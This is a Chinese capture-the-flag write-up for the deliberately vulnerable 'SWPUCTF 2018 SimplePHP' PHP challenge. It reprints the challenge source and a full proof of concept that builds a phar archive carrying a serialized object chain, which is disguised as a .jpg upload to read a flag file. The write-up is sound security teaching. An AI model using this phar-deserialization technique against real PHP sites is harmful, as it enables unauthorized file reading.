[SWPUCTF 2018]SimplePHP 地址:https://buuoj.cn/challenges#[SWPUCTF%202018]SimplePHP
一、信息收集
打开这道题目,发现功能有文件读取和文件上传。简单测试可知:
1、文件上传有过滤,难以直接利用。后续的代码也证实了上传的文件后缀会被改为jpg
2、文件读取处存在文件包含漏洞,可以读取源代码
二、代码审计
在file.php中可以看的,文件没有过滤phar流,直接调用file_exists函数,就 可以猜测道这题的思路应该就是phar的反序列化,如下:
function.php:
<?php //show_source(__FILE__); include "base.php"; header("Content-type: text/html;charset=utf-8"); error_reporting(0); function upload_file_do() { global $_FILES; $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; //mkdir("upload",0777); if(file_exists("upload/" . $filename)) { unlink($filename); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); echo '<script type="text/javascript">alert("上传成功!");</script>'; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types = array("gif","jpeg","jpg","png"); $temp = explode(".",$_FILES["file"]["name"]); $extension = end($temp); if(empty($extension)) { //echo "<h4>请选择上传的文件:" . "<h4/>"; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo '<script type="text/javascript">alert("Invalid file!");</script>'; return false; } } } ?>
class.php:
<?php class C1e4r { public $test; public $str; public function __construct($name) { $this->str = $name; } public function __destruct() { $this->test = $this->str; echo $this->test; } } class Show { public $source; public $str; public function __construct($file) { $this->source = $file; //$this->source = phar://phar.jpg echo $this->source; } public function __toString() { $content = $this->str['str']->source; return $content; } public function __set($key,$value) { $this->$key = $value; } public function _show() { if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) { die('hacker!'); } else { highlight_file($this->source); } } public function __wakeup() { if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } } } class Test { public $file; public $params; public function __construct() { $this->params = array(); } public function __get($key) { return $this->get($key); } public function get($key) { if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value) { $text = base64_encode(file_get_contents($value)); return $text; } } ?>
1、搜索__destruct,找到析构函数在C1e4r类中,其会echo成员变量str。
2、在Show类,有__toString函数,刚好可以被echo显示。这里大概知道最终的poc会存在如下的伪代码:
$c = new C1e4r(); $c->str = new Show();
3、在Test类,有__get函数,会在访问一个不存在的成员变量是调用该方法。随后该方法调用get函数-》file_get函数-》file_get_contents获取内容。
4、至此知道,最终需要file_get_contents来获取flag的内容,大概知道最终的poc会存在如下的伪代码:
$t = new Test(); $t->params['notExist'] = '/var/www/html/f1ag.php';
5、以上,我们的pop链只剩下最后的Show类和Test类的关联,还是在Show类的__toString函数中,可知,需要这个‘notExist’应为‘source’。最终的poc如下:
<?php class Test { public $str; public $params; public function __construct() { $this->params = array(); } } class C1e4r { public $test; public $str; } class Show { public $source; public $str = array(); } $t = new Test(); $c = new C1e4r(); $s = new Show(); $t->params['source'] = '/var/www/html/f1ag.php'; $s->str['str'] = $t; $c->str = $s; @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($c); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算 $phar->stopBuffering(); ?>
三、验证流程
1、使用poc生成phar.phar文件,将其该名为phar.jpg,然后上传,如下:
2、然后需要找到上传后的文件路径,通过function.php中的如下代码可以计算出文件名称,但不知道什么原因,我计算出的名称总是不对:
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
但是这里有文件列出的漏洞,还是可以找到文件名称:
3、包含上传的文件,base64解码,得到flag,如下: